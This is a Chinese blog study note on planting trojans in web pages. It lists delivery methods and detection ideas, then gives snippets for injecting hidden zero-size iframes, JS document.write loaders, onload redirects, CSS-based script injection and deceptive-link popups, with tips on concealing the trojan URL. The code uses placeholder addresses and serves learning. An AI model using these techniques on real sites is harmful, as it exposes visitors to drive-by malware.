1. 全栈程序员必看首页

学习记录03（网页挂马）

全栈程序员-用户IM • • 未分类

学习记录03（网页挂马）网页挂马将木马程序上传到网站，使用木马生成器生成一个网马，放到网页空间，在添加代码使木马在网页打开时运行常见的几种方式将木马伪装成页面元素，木马被浏览器自动加载到本地利用脚本运行的漏洞下载木马利用脚本运行的漏洞释放隐含在网页脚本中的木马将木马伪装成缺失的组件。或和缺失的组件绑在一起（flash播放插件等）通过脚本运行调用某些com组件，利用其漏洞下载木马在渲染页面内容的过程中…

大家好，又见面了，我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE稳定放心使用

网页挂马

将木马程序上传到网站，使用木马生成器生成一个网马，放到网页空间，在添加代码使木马在网页打开时运行

1.常见的几种方式

  • 将木马伪装成页面元素，木马被浏览器自动加载到本地
  • 利用脚本运行的漏洞下载木马
  • 利用脚本运行的漏洞释放隐含在网页脚本中的木马
  • 将木马伪装成缺失的组件。或和缺失的组件绑在一起（flash播放插件等）
  • 通过脚本运行调用某些com组件，利用其漏洞下载木马
  • 在渲染页面内容的过程中利用格式溢出释放木马（ani格式溢出漏洞等）
  • 在渲染页面内容的过程中利用格式溢出下载木马（flash9.0.115的播放漏洞等）

资料摘自：https://baike.baidu.com/item/%E7%BD%91%E9%A1%B5%E6%8C%82%E9%A9%AC/2368054?fr=aladdin

2.检测方法

  • 特征匹配：将网页挂马的脚本按脚本病毒进行检测，但是网页脚本变形方式、加密方式比起传统的PE格式病毒更为多样，检测起来也更加困难。
  • 主动防御：主动避免下载某些可能含有网马的插件，软件
  • 检查父进程是否为浏览器，这种方法很容易被躲过且会对很多插件造成误报。

资料摘自：https://baike.baidu.com/item/%E7%BD%91%E9%A1%B5%E6%8C%82%E9%A9%AC/2368054?fr=aladdin

3.常见的几种网页挂马方法

  • HTML挂马
  1. 需要利用<iframe> 标签
  2. <iframe src="地址" width="0" height="0"></iframe>
  3. 随便找一个html文件来举个例子，通常情况下将2中代码放到任何位置都可?
    ：例如：当使用代码 <iframe src="地址" ></iframe>时，在这个例子里也是图片伪装挂马
    在这里插入图片描述
    ：我们可以看到，在我们访问原网址时会出现我指的百度页面，但是这样太明显了
    在这里插入图片描述
    ：所以最好使用<iframe src="地址" width="0" height="0"></iframe>，让设置的页面不显示出来
  • JS文件挂马
  1. 需要利用到<script></script>标签
  2. <script src="×××.js"></script> 和 document.write("<iframe src='https://www.baidu.com/' width=0 height=0></iframe>")前者写在html文件中，后者写在js文件中
  3. 演示一下?
    ：在html文件的<head>标签里加入<script src="×××.js"></script>
    在这里插入图片描述
    ：转到horse.js文件，文件中添加document.write("<iframe src='https://www.baidu.com/' width=0 height=0></iframe>")这样浏览器就会执行write里面的部分
  • body挂马
  1. 利用<body>标签
  2. <body onload="window.location='地址';"></body>
  • CSS挂马
  1. 可以写在css文件里也可以直接写在html文件<style>标签里
  2. 利用background-image：url() 和连接css文件 – – > <link rel="stylesheet" type="text/css" href="./×××.css">
  3. body {background-image: url('javascript:document.write("<script src=地址></script>")')}但是有一点问题是，会出现背景页面空白的情况，导致很容易暴露，看了网上的一些总结，可以把这个修改为：body{background-image: url(t:open("地址"，"newwindow"，这里可以加一些参数))}通过在后台开一个新的窗口来运行木马页面
  • 欺骗调用
  1. 利用一个假的链接地址诱骗用户点击或查看，以达到跳转页面加载木马的作用
  2. 例如?
<a href="http://www.4399.com/" onMouseOver="tofalse_com(); return true;"> 跳转游戏页面：http://www.4399.com/ </a>
<SCRIPT Language="JavaScript"> 　function tofalse_com () 　{ 
      　　 var url="https://baidu.com/";//网马的地址，这里我随便用百度试了一下 open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10");//弹出一个新窗口，后面的部分是对新窗口的一些属性设置 } </SCRIPT>
  • 伪装调用（利用隐藏的分割框架）
  1. 这还没搞chentou，先不写了?

4.补充

  • 挂马最重要的部分就是要隐蔽，像是利用js，一些插件，欺骗伪装等等就算比较隐蔽了
  • 但是还可以有一些其他的方法，例如对木马网站的url进行加密处理，利用htm文件，将js的后缀等等替换成jpg等后缀…
版权声明：本文内容由互联网用户自发贡献，该文观点仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容， 请发送邮件至 举报，一经查实，本站将立刻删除。

发布者：全栈程序员-用户IM，转载请注明出处：https://javaforall.cn/187699.html原文链接：https://javaforall.cn

【正版授权，激活自己账号】： Jetbrains全家桶Ide使用，1年售后保障，每天仅需1毛

【官方授权 正版激活】： 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

赞 (0)
全栈程序员-用户IM全栈程序员-用户IM
0 0
blank

相关推荐

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号